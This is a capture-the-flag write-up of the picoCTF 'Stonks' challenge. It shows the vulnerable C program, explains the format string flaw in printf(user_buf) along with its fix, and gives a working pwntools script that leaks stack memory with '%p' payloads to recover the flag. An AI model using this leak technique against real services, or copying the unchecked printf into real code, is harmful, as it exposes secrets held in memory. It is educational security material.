Skip to content
Startseite » picoCTF Stonks

picoCTF Stonks

Stonks

Today I want to show you how to solve the “Stonks” challenge on picoCTF.

The text for the Challenge says: “I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn’t believe you if you told me it’s unsecure! ”
For this we get a source code file with the trusted name vuln.c and a URL to a server on which the program is running and to which we should connect via nc.

Let’s take a look at the source code in the first step:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

So how could we now get the flag that is on the server?

When we have looked at the entire source code, we notice that in the function ‘buy_stonks’ a file is opened on the server and loaded into memory. Reason enough to take a close look at the function.

Anyone who has done a few binary exploitation challenges will know that there are a few functions in C that are particularly vulnerable to exploitation. One of these is the function ‘printf’ which is supposed to produce formatted output. However, if this function is used incorrectly, it is possible to read memory (and even write to it, which we don’t need for this challenge). Here the line printf(user_buf); is interesting for us, because ‘printf’ takes the user input previously read in with ‘scanf’ unchecked. So if we create the payload cleverly here, it is possible for us to print parts of the RAM and thus the content of the previously read file.

This form of attack is called ‘format string attack’. Normally ‘printf’ is supposed to format the output. For this it takes the output string with placeholders as first parameter. Further parameters are then inserted by ‘printf’ according to the kind of the placeholder formatted at the appropriate place. Possible placeholders would be e.g. ‘%s’ for a string or ‘%d’ for an integer. So the vulnerable line should have been printf("%s", user_buf);. This would have interpreted the contents of the variable ‘user_buf’ as a string and the danger would have been averted. This way, however, we can insert placeholders ourselves that allow us to read the working memory.

Before we write a script that takes advantage of this error, let’s see if we are right. We connect to the server via nc, confirm the question about what we want to do with 1 and enter the string %p when asked for our API token:

nc mercury.picoctf.net 16439
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p
Buying stonks with token:
0x7fa8d9732743
Portfolio as of Thu Jul 28 09:03:30 AM EDT 2022


9 shares of DN
3 shares of OWPE
6 shares of OTJW
4 shares of UDL
20 shares of IQR
29 shares of WJ
9 shares of CXZB
52 shares of MSWS
60 shares of BMA
92 shares of DNB
66 shares of CWXQ
1258 shares of V
Goodbye!

This worked. In the line 0x7fa8d9732743 we can display the one part of the RAM (in hexadecimal representation).

Now it’s time to build our exploit. For this I like to use Python in combination with the library ‘Pwntools’. How you can install this e.g. under Kali, you can learn here.

So I created a small Python script and documented exactly what each step does.
I’ll be honest: There was a lot of trial and error but the important thing is that it works in the end.

from pwn import *
import string

# Open connection to CTF Server
conn = remote('mercury.picoctf.net', 16439)
print('\n')
# Receive all bytes until question what to do 
conn.recvuntil(b'portfolio')
# Send 1 to buy stonks
conn.send(b'1\n')
# Receive all bytes until question for API token
conn.recvuntil(b'token?')
# Send payload
payload = b'.%p'*30 + b'\n'
conn.send(payload)
# Skip two lines of response
conn.recvline()
conn.recvline()
# Receive stack memory leak 
ret = conn.recvline()
# Split into parts
parts = ret.decode().split('.')
# Iterate over the parts of the memory leak
for p in parts:
	# If part is well aligned for hex to char conversion
	if len(p)%2 == 0:
		# Reverse part (little endian)
		ba = bytearray.fromhex(p[2::])[::-1]
		for b in ba:
			# If byte is a printable char print it out
			if b in bytes(string.printable, 'ascii'):
				print(chr(b), end='')
print('\n')
conn.close()

If you use this script, it can happen that before and after the flag one or two additionally characters are displayed, but since the format of the flags is known, this should not be a problem.

If you want to know more about ‘Format string attack’, I recommend this article on owasp.org

Please have a look at my other CTF-WriteUps.

Leave a Reply

Your email address will not be published.